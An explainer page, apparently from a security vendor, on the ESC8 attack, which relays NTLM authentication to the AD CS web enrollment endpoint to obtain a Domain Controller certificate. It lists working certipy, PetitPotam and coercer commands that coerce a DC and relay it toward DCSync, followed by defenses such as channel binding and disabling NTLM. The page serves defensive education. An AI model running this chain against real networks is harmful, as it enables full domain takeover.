What is ESC8?

ESC8 is an AD CS attack that combines NTLM relay with the CA's HTTP web enrollment endpoint (`certsrv`). The attacker coerces a privileged machine, often a Domain Controller, to authenticate to them, then relays that authentication to the web enrollment page to request a certificate as that machine. A Domain Controller certificate leads straight to DCSync and full compromise. It chains a coercion trick (PetitPotam, Coercer) with relay, and the fix is disabling NTLM and enforcing HTTPS with channel binding on enrollment.

HOW IT WORKS

01 The chain and payload

ESC8 is a two-tool chain: relay plus coercion.

- Start the relay at web enrollment: `certipy relay -target http://CA-HOST/certsrv/certfnsh.asp -template DomainController`
- Coerce a Domain Controller to authenticate to the relay: `PetitPotam.py <attacker-ip> <dc-ip>` or `coercer coerce -u user -p pass -t <dc> -l <attacker-ip>`
- The relay obtains a DC certificate; authenticate with it: `certipy auth -pfx dc.pfx`
- Use the DC identity for DCSync.

Documented techniques shown for defensive recognition.

> TWO HALVES TO BREAK
>
> *ESC8 needs relayable NTLM at enrollment and a coercion to trigger it. Removing either, disable HTTP/NTLM enrollment, or block coercion, breaks the chain.*

HOW TO DEFEND

- Disable NTLM on the AD CS web enrollment endpoints, and prefer removing web enrollment entirely if unused.
- Enforce HTTPS with Extended Protection for Authentication (channel binding) so relayed authentication is rejected.
- Enable Require SMB/LDAP signing and EPA across the environment to blunt relay broadly.
- Patch and mitigate coercion vectors (PetitPotam and related) and restrict who can reach the CA web endpoint.
- Monitor for machine-account certificate requests, especially for Domain Controllers.

SOURCES

[1] Microsoft: Active Directory Certificate Services

[2] MITRE ATT&CK Enterprise Matrix

[3] NIST SP 800-115 Technical Guide to Security Testing

Test your Active Directory before an attacker does.

securelayer7.net/learn/active-directory/what-is-esc8

Open online